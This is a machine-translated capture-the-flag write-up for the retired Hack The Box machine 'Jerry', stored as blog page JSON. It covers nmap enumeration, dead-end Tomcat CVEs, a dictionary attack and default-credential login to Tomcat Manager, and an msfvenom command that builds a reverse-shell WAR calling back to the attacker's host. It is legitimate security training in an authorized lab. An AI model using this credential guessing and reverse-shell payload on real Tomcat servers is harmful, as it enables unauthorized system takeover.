{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-windows-jerry-en","result":{"data":{"markdownRemark":{"id":"e28652c1-1fbe-52a5-ab69-e80fa9dc6d98","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I use the penetration-testing learning platform “Hack The Box” to study security.\nAt the time of writing, my rank on Hack The Box is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This time I am writing up the retired HackTheBox machine “Jerry”.

\n\n

About This Article

\n

The content of this article is not intended to encourage acts that are contrary to social order.

\n

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

I started with a port scan as usual.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.95 $RHOST/g' /etc/hosts\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\nStarting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 05:46 PDT\nNote: Host seems down. If it is really up, but blocking our ping probes, try -Pn\nNmap done: 1 IP address (0 hosts up) scanned in 2.26 seconds
\n

The host appeared to be down (possibly a false negative), so I added the -Pn option. This revealed that port 8080 was open.

\n
$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt\nStarting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 05:46 PDT\nNmap scan report for $RHOST (10.10.10.95)\nHost is up (0.23s latency).\nNot shown: 999 filtered tcp ports (no-response)\nPORT     STATE SERVICE VERSION\n8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1\n|_http-title: Apache Tomcat/7.0.88\n|_http-favicon: Apache Tomcat\n|_http-server-header: Apache-Coyote/1.1\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 31.08 seconds
\n

Accessing it showed that Apache Tomcat/7.0.88 was running.

\n

\n \n \n \n \n \n \n \n \n

\n

To look for vulnerabilities, I read through the Apache Tomcat 7 vulnerabilities release notes.

\n

I found an RCE vulnerability, CVE-2019-0232, but unfortunately cgi/ism.bat did not exist on the target, so that exploit was not applicable.

\n

\n \n \n \n \n \n \n \n \n

\n

The next vulnerability I found was CNVD-2020-10487 (CVE-2020-1938), but the ajp13 port appeared to be filtered, so this one would not work either.

\n
$ nmap -sV -sC -T4 -Pn -p 8009 $RHOST\nStarting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 06:35 PDT\nNmap scan report for $RHOST (10.10.10.95)\nHost is up.\n\nPORT     STATE    SERVICE VERSION\n8009/tcp filtered ajp13
\n

So I kept looking for other entry points.

\n

There was a page called Manager App that required authentication.

\n

The default Tomcat credentials were reported to be admin with a blank password, but that did not work.

\n

\n \n \n \n \n \n \n \n \n

\n

I ran a dictionary attack with the username set to admin, and found that the password was also admin.

\n

\n \n \n \n \n \n \n \n \n

\n

Login succeeded, but it seemed I had no privileges.

\n

\n \n \n \n \n \n \n \n \n

\n

So I tried the credentials tomcat/s3cret shown in the Example section of that page, and was able to log in to the Manager App.

\n

\n \n \n \n \n \n \n \n \n

\n

Gaining a Shell

\n

Now that I had access to the Manager App, I looked for an exploit path.

\n

According to the following article, uploading a WAR file can be used to obtain a reverse shell.

\n

Reference: Multiple Ways to Exploit Tomcat Manager - Hacking Articles

\n

I created the payload with the following command:

\n
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f war > shell.war
\n

After uploading it, accessing 10.10.10.95:8080/shell from a browser gave me a shell with SYSTEM privileges.

\n

Summary

\n

For password attacks, it pays to build a list of patterns to try manually before resorting to brute force.

","fields":{"slug":"/hackthebox-windows-jerry-en","tagSlugs":["/tag/hack-the-box-en/","/tag/windows-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-07-30","description":"A writeup of the retired HackTheBox machine 'Jerry'.","tags":["HackTheBox (en)","Windows (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Jerry (Easy/Windows)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-windows-jerry-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}